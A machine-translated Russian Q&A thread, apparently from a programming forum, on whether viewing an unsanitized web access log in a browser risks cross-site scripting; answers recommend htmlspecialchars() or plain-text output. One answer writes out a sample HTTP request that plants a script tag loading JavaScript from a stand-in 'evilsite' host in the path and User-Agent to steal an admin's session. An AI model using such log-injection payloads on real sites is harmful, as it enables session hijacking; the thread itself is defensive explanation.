Опасно ли просматривать журнал доступа без очистки через веб-браузер?


Опасно ли просматривать журнал доступа без очистки через веб-браузер?

Я рассматриваю возможность записи журнала доступа, и я рассматриваю возможность просмотра его через веб-браузер, но если злоумышленник изменяет свой удаленный хост или пользовательский агент или что-то еще, может ли он атаковать меня?

Путем вставки атакующего кода в его удаленный хост или агент пользователя или ЭСТ.

Так нужно ли санировать с помощью htmlspecialchar перед открытием файла журнала доступа через веб-браузер?

Я имею в виду злоумышленник вставляет какой-то атакующий код в свой удаленный хост или агент пользователя или какое-то программное обеспечение, тогда я вижу, что журнал доступа через веб-браузер, тогда мой компьютер будет затронут этим кодом.

3 5

3 ответа:

Вы, вероятно, хотите, чтобы некоторые html форматирование для вывода и, следовательно, должны очистить / кодировать данные журнала. Но ради аргументов: если вы отправляете вывод в виде text / plain, клиент не должен разбирать html / javascript.
Например, выход

<?php
header('Content-type: text/plain; charset=utf-8');
echo '<script>alert(document.URL);</script>';
отображается как
<script>alert(document.URL);</script>
(по крайней мере, в FF3, IE8, opera, safari).

Да, это опасно.

Например, злоумышленник может просто запросить что-то вроде этого:

GET /<script src="http://www.evilsite.com/malicious.js"></script> HTTP/1.1
Host: www.example.com
Connection: close
User-Agent: <script src="http://www.evilsite.com/malicious.js"></script>

И скомпрометировать вашу страницу просмотра с помощью вредоносного JavaScript.

Поскольку вы, вероятно, просматриваете журнал на своем сайте, вы войдете в систему как учетная запись с правами администратора. С помощью вредоносного JavaScript злоумышленник может украсть ваш файл cookie сеанса и завладеть вашим сеансом, а также все, что вы можете сделать во время входа в систему.

Итак, в заключение, вы должны определенно избегать страниц журнала доступа, Если вам не нравится, что ваши административные учетные записи скомпрометированы.

Теоретически это возможно, да, и вы должны похвалить себя за правильное мышление, чтобы думать об этом таким образом. Дезинфекция любого неконтролируемого ввода перед его отображением в веб-браузере всегда является хорошей идеей.

Я бы запустил вывод журнала через htmlspecialchars().